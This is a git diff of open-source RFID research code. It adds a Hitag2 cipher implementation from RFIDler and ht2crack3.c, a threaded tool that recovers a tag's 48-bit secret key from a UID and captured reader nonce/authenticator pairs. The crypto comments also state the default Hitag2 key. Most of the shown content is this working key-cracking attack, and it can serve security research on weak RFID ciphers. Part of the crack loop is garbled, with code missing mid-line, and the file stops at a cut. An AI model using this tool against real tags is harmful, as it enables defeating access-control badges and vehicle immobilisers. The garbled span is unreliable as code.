contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + +// uncomment this to build file as a standalone crypto test program +// #define UNIT_TEST +// also uncomment to include verbose debug prints +// #define TEST_DEBUG + +//#include +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +#ifdef UNIT_TEST +#include +#endif + +#if defined(UNIT_TEST) && defined(TEST_DEBUG) +// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++. +// This may need changing for other compilers/platforms. +#define DEBUG_PRINTF(...) printf(__VA_ARGS__) +#else +#define DEBUG_PRINTF(...) +#endif + + +/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu) + + Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft + fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications. + At about the same time, late 1980s to early 1990s, Mikron developed the + similarly featured Mifare micropayment card for 13.56MHz RFID. + (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a + priority date of 23 Aug 1990.) + Mikron was subsequently acquired by Philips Semiconductors in 1995. + Philips Semiconductors divsion subsequently became NXP. + + + Modulation read/write device -> transponder: 100 % ASK and binary pulse + length coding + + Modulation transponder -> read/write device: Strong ASK modulation, + selectable Manchester or Biphase coding + + Hitag S, Hitag u; anti-collision procedure + + Fast anti-collision protocol + + Hitag u; optional Cyclic Redundancy Check (CRC) + + Reader Talks First mode + + Hitag 2 & later; Transponder Talks First (TTF) mode + + Temporary switch from Transponder Talks First into Reader Talks First + (RTF) Mode + + Data rate read/write device to transponder: 5.2 kbit/s + + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s + + 32-bit password feature + + Hitag 2, S = 32-bit Unique Identifier + + Hitag u = 48-bit Unique Identifier + + Selectable password modes for reader / tag mutual authentication + (Hitag 1 has 2 pairs of keys, later versions have 1 pair) + + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key + + Known tag types: + + HITAG 1 2048 bits total memory + + HITAG 2 256 Bit total memory Read/Write + 8 pages of 32 bits, inc UID (32), + secret key (64), password (24), config (8) + + HITAG S 32 32 bits Unique Identifier Read Only + HITAG S 256 256 bits total memory Read/Write + HITAG S 2048 2048 bits total memory Read/Write + + HITAG u RO64 64 bits total memory Read Only + HITAG u 128 bits total memory Read/Write + HITAG u Advanced 512 bits total memory Read/Write + HITAG u Advanced+ 1760 bits total memory Read/Write + + Default 48-bit key for Hitag 2, S encryption: + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 + +*/ + + +// We want the crypto functions to be as fast as possible, so optimize! +// The best compiler optimization in Microchip's free XC32 edition is -O1 +#pragma GCC optimize("O1") + +// private, nonlinear function to generate 1 crypto bit +static uint32_t hitag2_crypt(uint64_t x); + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + DEBUG_PRINTF("hitag2_crypt bitindex = %02x\n", bitindex); + return (ht2_function5c >> bitindex) & 1; +} + +/* + * Parameters: + * Hitag_State* pstate - output, internal state after initialisation + * uint64_t sharedkey - 48 bit key shared between reader & tag + * uint32_t serialnum - 32 bit tag serial number + * uint32_t initvector - 32 bit random IV from reader, part of tag authentication + */ +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector) +{ + // init state, from serial number and lowest 16 bits of shared key + uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum; + + // mix the initialisation vector and highest 32 bits of the shared key + initvector ^= (uint32_t) (sharedkey >> 16); + + // move 16 bits from (IV xor Shared Key) to top of uint64_t state + // these will be XORed in turn with output of the crypto function + state |= (uint64_t) initvector << 48; + initvector >>= 16; + + // unrolled loop is faster on PIC32 (MIPS), do 32 times + // shift register, then calc new bit + state >>= 1; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + // highest 16 bits of IV XOR Shared Key + state |= (uint64_t) initvector << 47; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46; + state ^= (uint64_t) hitag2_crypt(state) << 47; + + DEBUG_PRINTF("hitag2_init result = %012I64x\n", state); + pstate->shiftreg = state; + /* naive version for reference, LFSR has 16 taps + pstate->lfsr = state ^ (state >> 2) ^ (state >> 3) ^ (state >> 6) + ^ (state >> 7) ^ (state >> 8) ^ (state >> 16) ^ (state >> 22) + ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47); + */ + { + // optimise with one 64-bit intermediate + uint64_t temp = state ^ (state >> 1); + pstate->lfsr = state ^ (state >> 6) ^ (state >> 16) + ^ (state >> 26) ^ (state >> 30) ^ (state >> 41) + ^ (temp >> 2) ^ (temp >> 7) ^ (temp >> 22) + ^ (temp >> 42) ^ (temp >> 46); + } +} + + +/* + * Return up to 32 crypto bits. + * Last bit is in least significant bit, earlier bits are shifted left. + * Note that the Hitag transmission protocol is least significant bit, + * so we may want to change this, or add a function, that returns the + * crypto output bits in the other order. + * + * Parameters: + * Hitag_State* pstate - in/out, internal cipher state after initialisation + * uint32_t steps - number of bits requested, (capped at 32) + */ +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps) +{ + uint64_t state = pstate->shiftreg; + uint32_t result = 0; + uint64_t lfsr = pstate->lfsr; + + if (steps == 0) + return 0; + +// if (steps > 32) +// steps = 32; + + do { + // update shift registers + if (lfsr & 1) { + state = (state >> 1) | 0x800000000000; + lfsr = (lfsr >> 1) ^ 0xB38083220073; + + // accumulate next bit of crypto + result = (result << 1) | hitag2_crypt(state); + } else { + state >>= 1; + lfsr >>= 1; + + result = (result << 1) | hitag2_crypt(state); + } + } while (--steps); + + DEBUG_PRINTF("hitag2_nstep state = %012I64x, result %02x\n", state, result); + pstate->shiftreg = state; + pstate->lfsr = lfsr; + return result; +} + +// end of crypto core, revert to default optimization level +#pragma GCC reset_options + + +/* Test code + + Test data and below information about it comes from + http://www.mikrocontroller.net/attachment/102194/hitag2.c + Written by "I.C. Wiener 2006-2007" + + "MIKRON" = O N M I K R + Key = 4F 4E 4D 49 4B 52 - Secret 48-bit key + Serial = 49 43 57 69 - Serial number of the tag, transmitted in clear + Random = 65 6E 45 72 - Random IV, transmitted in clear + ~28~DC~80~31 = D7 23 7F CE - Authenticator value = inverted first 4 bytes of the keystream + + The code below must print out "D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6". + The inverse of the first 4 bytes is sent to the tag to authenticate. + The rest is encrypted by XORing it with the subsequent keystream. + +*/ + + +/* +unsigned int hitag2_benchtest_gen32() +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + + // init crypto + hitag2_init(&state, key, serial, initvec); + + // benchmark: generation of 32 bit stream (excludes initialisation) + GetTimer_us(RESET); + + (void) hitag2_nstep(&state, 32); + + return GetTimer_us(NO_RESET); +} + + +unsigned int hitag2_benchtest(uint32_t count) +{ + const uint64_t key = 0x4ad292b272f2; + const uint32_t serial = 0x96eac292; + const uint32_t initvec = 0x4ea276a6; + Hitag_State state; + uint32_t i; + + // start timer + GetTimer_us(RESET); + + // benchmark: initialise crypto & generate 32 bit authentication + // adding i stops gcc optimizer moving init function call out of loop + for (i = 0; i < count; i++) { + hitag2_init(&state, key, serial, initvec + i); + (void) hitag2_nstep(&state, 32); + } + + return GetTimer_us(NO_RESET); +} + + +unsigned hitag2_verifytest() +{ + uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 }; + // key = 0x4ad292b272f2 after each byte has its bit order reversed + // serial = 0x96eac292 ditto + // initvec = 0x4ea276a6 ditto + const uint64_t key = rev64 (0x524B494D4E4FUL); + const uint32_t serial = rev32 (0x69574349); + const uint32_t initvec = rev32 (0x72456E65); + + uint32_t i; + Hitag_State state; + + // initialise + hitag2_init(&state, key, serial, initvec); + + for (i = 0; i < 16; i++) { + // get 8 bits of keystream + uint8_t x = (uint8_t) hitag2_nstep(&state, 8); + uint8_t y = expected[i]; + + DEBUG_PRINTF ("%02X (%02X) \n", x, y); + if (x != y) + return 0; + } + + return 1; +} +*/ + +#ifdef UNIT_TEST + +int main(int argc, char* argv[]) +{ + unsigned pass = hitag2_verifytest(); + + printf ("Crypto Verify test = %s\n\n", pass ? "PASS" : "FAIL"); + + if (pass) { + hitag2_benchtest(10000); + } + + return 0; +} + +#endif // UNIT_TEST diff --git a/tools/hitag2crack/crack3/hitagcrypto.h b/tools/hitag2crack/crack3/hitagcrypto.h new file mode 100644 index 000000000..d5aa9104c --- /dev/null +++ b/tools/hitag2crack/crack3/hitagcrypto.h @@ -0,0 +1,171 @@ +/*************************************************************************** + * A copy of the GNU GPL is appended to this file. * + * * + * This licence is based on the nmap licence, and we express our gratitude * + * for the work that went into producing it. There is no other connection * + * between RFIDler and nmap either expressed or implied. * + * * + ********************** IMPORTANT RFIDler LICENSE TERMS ******************** + * * + * * + * All references to RFIDler herein imply all it's derivatives, namely: * + * * + * o RFIDler-LF Standard * + * o RFIDler-LF Lite * + * o RFIDler-LF Nekkid * + * * + * * + * RFIDler is (C) 2013-2014 Aperture Labs Ltd. * + * * + * This program is free software; you may redistribute and/or modify it * + * under the terms of the GNU General Public License as published by the * + * Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE * + * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your * + * right to use, modify, and redistribute this software under certain * + * conditions. If you wish to embed RFIDler technology into proprietary * + * software or hardware, we sell alternative licenses * + * (contact sales@aperturelabs.com). * + * * + * Note that the GPL places important restrictions on "derivative works", * + * yet it does not provide a detailed definition of that term. To avoid * + * misunderstandings, we interpret that term as broadly as copyright law * + * allows. For example, we consider an application to constitute a * + * derivative work for the purpose of this license if it does any of the * + * following with any software or content covered by this license * + * ("Covered Software"): * + * * + * o Integrates source code from Covered Software. * + * * + * o Is designed specifically to execute Covered Software and parse the * + * results (as opposed to typical shell or execution-menu apps, which will * + * execute anything you tell them to). * + * * + * o Includes Covered Software in a proprietary executable installer. The * + * installers produced by InstallShield are an example of this. Including * + * RFIDler with other software in compressed or archival form does not * + * trigger this provision, provided appropriate open source decompression * + * or de-archiving software is widely available for no charge. For the * + * purposes of this license, an installer is considered to include Covered * + * Software even if it actually retrieves a copy of Covered Software from * + * another source during runtime (such as by downloading it from the * + * Internet). * + * * + * o Links (statically or dynamically) to a library which does any of the * + * above. * + * * + * o Executes a helper program, module, or script to do any of the above. * + * * + * This list is not exclusive, but is meant to clarify our interpretation * + * of derived works with some common examples. Other people may interpret * + * the plain GPL differently, so we consider this a special exception to * + * the GPL that we apply to Covered Software. Works which meet any of * + * these conditions must conform to all of the terms of this license, * + * particularly including the GPL Section 3 requirements of providing * + * source code and allowing free redistribution of the work as a whole. * + * * + * As another special exception to the GPL terms, Aperture Labs Ltd. grants* + * permission to link the code of this program with any version of the * + * OpenSSL library which is distributed under a license identical to that * + * listed in the included docs/licenses/OpenSSL.txt file, and distribute * + * linked combinations including the two. * + * * + * Any redistribution of Covered Software, including any derived works, * + * must obey and carry forward all of the terms of this license, including * + * obeying all GPL rules and restrictions. For example, source code of * + * the whole work must be provided and free redistribution must be * + * allowed. All GPL references to "this License", are to be treated as * + * including the terms and conditions of this license text as well. * + * * + * Because this license imposes special exceptions to the GPL, Covered * + * Work may not be combined (even as part of a larger work) with plain GPL * + * software. The terms, conditions, and exceptions of this license must * + * be included as well. This license is incompatible with some other open * + * source licenses as well. In some cases we can relicense portions of * + * RFIDler or grant special permissions to use it in other open source * + * software. Please contact sales@aperturelabs.com with any such requests.* + * Similarly, we don't incorporate incompatible open source software into * + * Covered Software without special permission from the copyright holders. * + * * + * If you have any questions about the licensing restrictions on using * + * RFIDler in other works, are happy to help. As mentioned above, we also * + * offer alternative license to integrate RFIDler into proprietary * + * applications and appliances. These contracts have been sold to dozens * + * of software vendors, and generally include a perpetual license as well * + * as providing for priority support and updates. They also fund the * + * continued development of RFIDler. Please email sales@aperturelabs.com * + * for further information. * + * If you have received a written license agreement or contract for * + * Covered Software stating terms other than these, you may choose to use * + * and redistribute Covered Software under those terms instead of these. * + * * + * Source is provided to this software because we believe users have a * + * right to know exactly what a program is going to do before they run it. * + * This also allows you to audit the software for security holes (none * + * have been found so far). * + * * + * Source code also allows you to port RFIDler to new platforms, fix bugs, * + * and add new features. You are highly encouraged to send your changes * + * to the RFIDler mailing list for possible incorporation into the * + * main distribution. By sending these changes to Aperture Labs Ltd. or * + * one of the Aperture Labs Ltd. development mailing lists, or checking * + * them into the RFIDler source code repository, it is understood (unless * + * you specify otherwise) that you are offering the RFIDler Project * + * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, * + * modify, and relicense the code. RFIDler will always be available Open * + * Source, but this is important because the inability to relicense code * + * has caused devastating problems for other Free Software projects (such * + * as KDE and NASM). We also occasionally relicense the code to third * + * parties as discussed above. If you wish to specify special license * + * conditions of your contributions, just say so when you send them. * + * * + * This program is distributed in the hope that it will be useful, but * + * WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler * + * license file for more details (it's in a COPYING file included with * + * RFIDler, and also available from * + * https://github.com/ApertureLabsLtd/RFIDler/COPYING * + * * + ***************************************************************************/ + +// Author: unknown. +// Modifications for RFIDler: Tony Naggs , Adam Laurie + + +#ifndef HITAGCRYPTO_H +#define HITAGCRYPTO_H + +#include + +/* + Our model of Hitag 2 crypto uses 2 parallel shift registers: + a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function. + b. 48 bit Linear Feedback Shift Register (LFSR). + A transform of initial register (a) value, which is then run in parallel. + Enables much faster calculation of the feedback values. + + API: + void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, + uint32_t initvector); + Initialise state from 48 bit shared (secret) reader/tag key, + 32 bit tag serial number and 32 bit initialisation vector from reader. + + uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + update shift register state and generate N cipher bits (N should be <= 32) + */ + + +typedef struct { + uint64_t shiftreg; // naive shift register, required for nonlinear fn input + uint64_t lfsr; // fast lfsr, used to make software faster +} Hitag_State; + +void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector); + +uint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps); + +unsigned int hitag2_benchtest_gen32(); +unsigned int hitag2_benchtest(uint32_t count); +unsigned hitag2_verifytest(); + +#endif /* HITAGCRYPTO_H */ + diff --git a/tools/hitag2crack/crack3/ht2crack3.c b/tools/hitag2crack/crack3/ht2crack3.c new file mode 100644 index 000000000..190f8197d --- /dev/null +++ b/tools/hitag2crack/crack3/ht2crack3.c @@ -0,0 +1,466 @@ +#include +#include +#include + +#include "HardwareProfile.h" +#include "rfidler.h" +#include "hitagcrypto.h" +#include "util.h" + +// max number of NrAr pairs to load - you only need 136 good pairs, but this +// is the max +#define NUM_NRAR 1024 +#define NUM_THREADS 8 + +// table entry for Tkleft +struct Tklower { + uint64_t yxorb; + char notb32; + uint64_t klowery; +}; + +// table entry for nR aR pair +struct nRaR { + uint64_t nR; + uint64_t aR; +}; + +// struct to hold data for thread +struct threaddata { + uint64_t uid; + struct nRaR *TnRaR; + unsigned int numnrar; + uint64_t klowerstart; + uint64_t klowerrange; +}; + +void printbin(uint64_t val) +{ + int i; + + for (i=0; i<64; i++) { + if (val & 0x8000000000000000) { + printf("1"); + } else { + printf("0"); + } + val = val << 1; + } +} + +void printstate(Hitag_State *hstate) +{ + printf("shiftreg =\t"); + printbin(hstate->shiftreg); + printf("\n"); +} + + + +// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number +// these and the following hitag2_crypt function taken from Rfidler +#define pickbits2_2(S, A, B) ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) ) +#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) ) +#define pickbits1_1_2(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \ + ((S >> (C - 2)) & 0xC) ) +#define pickbits2_1_1(S, A, B, C) ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \ + ((S >> (C - 3)) & 8) ) +#define pickbits1_2_1(S, A, B, C) ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \ + ((S >> (C - 3)) & 8) ) + + +static uint32_t hitag2_crypt(uint64_t s) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function5c = 0x7907287B; // 0111 1001 0000 0111 0010 1000 0111 1011 + uint32_t bitindex; + + bitindex = (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1; + bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02; + bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04; + bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08; + bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10; + + return (ht2_function5c >> bitindex) & 1; +} + + +// this function is a modification of the filter function f, based heavily +// on the hitag2_crypt function in Rfidler +int fnP(uint64_t klowery) +{ + const uint32_t ht2_function4a = 0x2C79; // 0010 1100 0111 1001 + const uint32_t ht2_function4b = 0x6671; // 0110 0110 0111 0001 + const uint32_t ht2_function4p = 0xAE83; // 1010 1110 1000 0011 + uint32_t i; + + i = (ht2_function4a >> pickbits2_2 (klowery, 2, 5)) & 1; + i |= ((ht2_function4b << 1) >> pickbits1_1_2 (klowery, 8, 12, 14)) & 0x02; + i |= ((ht2_function4b << 2) >> pickbits1x4 (klowery, 17, 21, 23, 26)) & 0x04; + i |= ((ht2_function4b << 3) >> pickbits2_1_1 (klowery, 28, 31, 33)) & 0x08; + + // modified to use reference implementation approach + // orig fc table is 0x7907287B = 0111 1001 0000 0111 0010 1000 0111 1011 + // we ignore the top bit (bit 4) of the parameter, so therefore create a new + // table that indicates which bit positions are the same if the top bit is 1 or 0 + return (ht2_function4p >> i) & 1; +} + +// comparison function for sorting/searching Tklower entries +int Tk_cmp(const void *v1, const void *v2) +{ + const struct Tklower *Tk1 = (struct Tklower *)v1; + const struct Tklower *Tk2 = (struct Tklower *)v2; + + if (Tk1->yxorb < Tk2->yxorb) { + return -1; + } else if (Tk1->yxorb > Tk2->yxorb) { + return 1; + } + + return 0; +} + +// test for bad guesses of kmiddle +int is_kmiddle_badguess(uint64_t z, struct Tklower *Tk, int max, int aR0) { + + struct Tklower *result, target; + + // "If there is an entry in Tklower for which y ^ b = z but !b32 != aR[0] + // then the attacker learns that kmiddle is a bad guess... otherwise, if + // !b32 == aR[0] then kmiddle is still a viable guess." + + target.yxorb = z; + target.notb32 = 0; + result = (struct Tklower *)bsearch(&target, Tk, max, sizeof(struct Tklower), Tk_cmp); + + if (result) { + if (result->notb32 != aR0) { + return 1; + } + } else { + return 2; + } + + return 0; +} + +// function to test if a partial key is valid +int testkey(uint64_t *out, uint64_t uid, uint64_t pkey, uint64_t nR, uint64_t aR) +{ + uint64_t kupper; + uint64_t key; + Hitag_State hstate; + uint64_t b; + uint32_t revaR; + uint32_t normaR; + + // normalise aR + revaR = rev32(aR); + normaR = ((revaR >> 24) | ((revaR >> 8) & 0xff00) | ((revaR << 8) & 0xff0000) | (revaR << 24)); + + // search for remaining 14 bits + for (kupper=0; kupper < 0x3fff; kupper++) { + key = (kupper << 34) | pkey; + hitag2_init(&hstate, key, uid, nR); + b = hitag2_nstep(&hstate, 32); + if ((normaR ^ b) == 0xffffffff) { + *out = key; + return 1; + } + } + return 0; +} + + + + + + + +// some notes on how I think this attack should work. +// due to the way fc works, in a number of cases, it doesn't matter what +// the most significant bits are doing for it to produce the same result. +// These are the most sig 14 bits to be clear. Looking at fc it is poss +// to see cases where the most sig bit of the input to fc (which is made +// from fa on 4 of the most sig bits from bit 34 onwards) does not affect +// whether it gives a 0 or 1 as the input 0b0ABCD gives the same bit value +// as input 0b1ABCD. +// The PRNG is initialised by setting the lower 32 bits to the UID, with +// the upper 16 bits set to the lower 16 bits of the key. Next the 32 +// upper bits of the key are XORed with the private nonce and these are +// shifted in, with the PRNG outputting bits b0 to b31. These bits are +// used to encrypt (XOR with) the nonce to produce nR, which is sent to +// the card. +// (The card should init the PRNG with the same UID and lower 16 bits of +// the key, receive the nR, then shift it in bit by bit while xoring each +// bit with its output, and the key - this essentially decrypts the nR to +// the nonce XOR the upper 32 bits of the key, while shifting it in. +// The card's PRNG will then be in the same state as the RWD.) +// By knowing the UID and guessing the lower 16 bits of the key, and +// focusing on nR values that don't affect the upper bits of fc, we can +// limit our guesses to a smaller set than a full brute force and +// effectively work out candidates for the lower 34 bits of the key. + + +void *crack(void *d) +{ + struct threaddata *data = (struct threaddata *)d; + uint64_t uid; + struct nRaR *TnRaR; + unsigned int numnrar; + + Hitag_State hstate; + int i, j; + + uint64_t klower; + uint64_t kmiddle; + uint64_t y; + uint64_t ytmp; + uint64_t klowery; + unsigned int count = 0; + uint64_t bit; + uint64_t b; + uint64_t z; + uint64_t foundkey; + uint64_t revkey; + int ret; + unsigned int found = 0; + unsigned int badguess = 0; + + struct Tklower *Tk = NULL; + + if (!data) { + printf("Thread data is NULL\n"); + exit(1); + } + + uid = data->uid; + TnRaR = data->TnRaR; + numnrar = data->numnrar; + + // create space for tables + Tk = (struct Tklower *)malloc(sizeof(struct Tklower) * 0x40000); + if (!Tk) { + printf("cannot malloc Tk\n"); + exit(1); + } + + // find keys + for (klower=data->klowerstart; klower < (data->klowerstart + data->klowerrange); klower++) { + printf("trying klower = 0x%05lx\n", klower); + // build table + count = 0; + for (y=0; y<0x40000; y++) { + // create klowery + klowery = (y << 16) | klower; + // check for cases where right most bit of fc doesn't matter + + if (fnP(klowery)) { + // store klowery + Tk[count].klowery = klowery; + // build the initial prng state + hstate.shiftreg = (klower << 32) | uid; + // zero the lfsr so only 0s are inserted + hstate.lfsr = 0; + // insert y into shiftreg and extract keystream, reversed order + b = 0; + ytmp = y; + for (j=0; j<2; j++) { + hstate.shiftreg = hstate.shiftreg | ((ytmp & 0xffff) << 48); + for (i=0; i<16; i++) { + hstate.shiftreg = hstate.shiftreg >> 1; + bit = hitag2_crypt(hstate.shiftreg); + b = (b >> 1) | (bit << 31); + } + ytmp = ytmp >> 16; + } + + // store the xor of y and b0-17 + Tk[count].yxorb = y ^ (b & 0x3ffff); + + // get and store inverse of next bit from prng + // don't need to worry about shifting in the new bit because + // it doesn't affect the filter function anyway + hstate.shiftreg = hstate.shiftreg >> 1; + Tk[count].notb32 = hitag2_crypt(hstate.shiftreg) ^ 0x1; + + // increase count + count++; + } + } + + qsort(Tk, count, sizeof(struct Tklower), Tk_cmp); + + // look for matches + for (kmiddle=0; kmiddle<0x40000; kmiddle++) { + // loop over nRaR pairs + badguess = 0; + found = 0; + for (i=0; (i> 40) & 0xff) | ((revkey >> 24) & 0xff00) | ((revkey >> 8) & 0xff0000) | ((revkey << 8) & 0xff000000) | ((revkey << 24) & 0xff00000000) | ((revkey << 40) & 0xff0000000000); + printf("\n\nSuccess - key = %012lX\n", foundkey); + exit(0); + + return (void *)foundkey; + } + + } + + } + } + + return NULL; +} +int main(int argc, char *argv[]) +{ + FILE *fp; + int i; + pthread_t threads[NUM_THREADS]; + void *status; + + uint64_t uid; + uint64_t klowerstart; + unsigned int numnrar = 0; + char *buf = NULL; + char *buft1 = NULL; + char *buft2 = NULL; + size_t lenbuf = 64; + + struct nRaR *TnRaR = NULL; + struct threaddata *tdata = NULL; + + if (argc < 3) { + printf("ht2crack3 uid nRaRfile\n"); + exit(1); + } + + // read the UID into internal format + if (!strncmp(argv[1], "0x", 2)) { + uid = rev32(hexreversetoulong(argv[1] + 2)); + } else { + uid = rev32(hexreversetoulong(argv[1])); + } + + // create table of nR aR pairs + TnRaR = (struct nRaR *)malloc(sizeof(struct nRaR) * NUM_NRAR); + + // open file + fp = fopen(argv[2], "r"); + if (!fp) { + printf("cannot open nRaRfile\n"); + exit(1); + } + + // set klowerstart (for debugging) + if (argc > 3) { + klowerstart = strtol(argv[3], NULL, 0); + } else { + klowerstart = 0; + } + + // read in nR aR pairs + numnrar = 0; + buf = (char *)malloc(lenbuf); + if (!buf) { + printf("cannot malloc buf\n"); + exit(1); + } + + while (getline(&buf, &lenbuf, 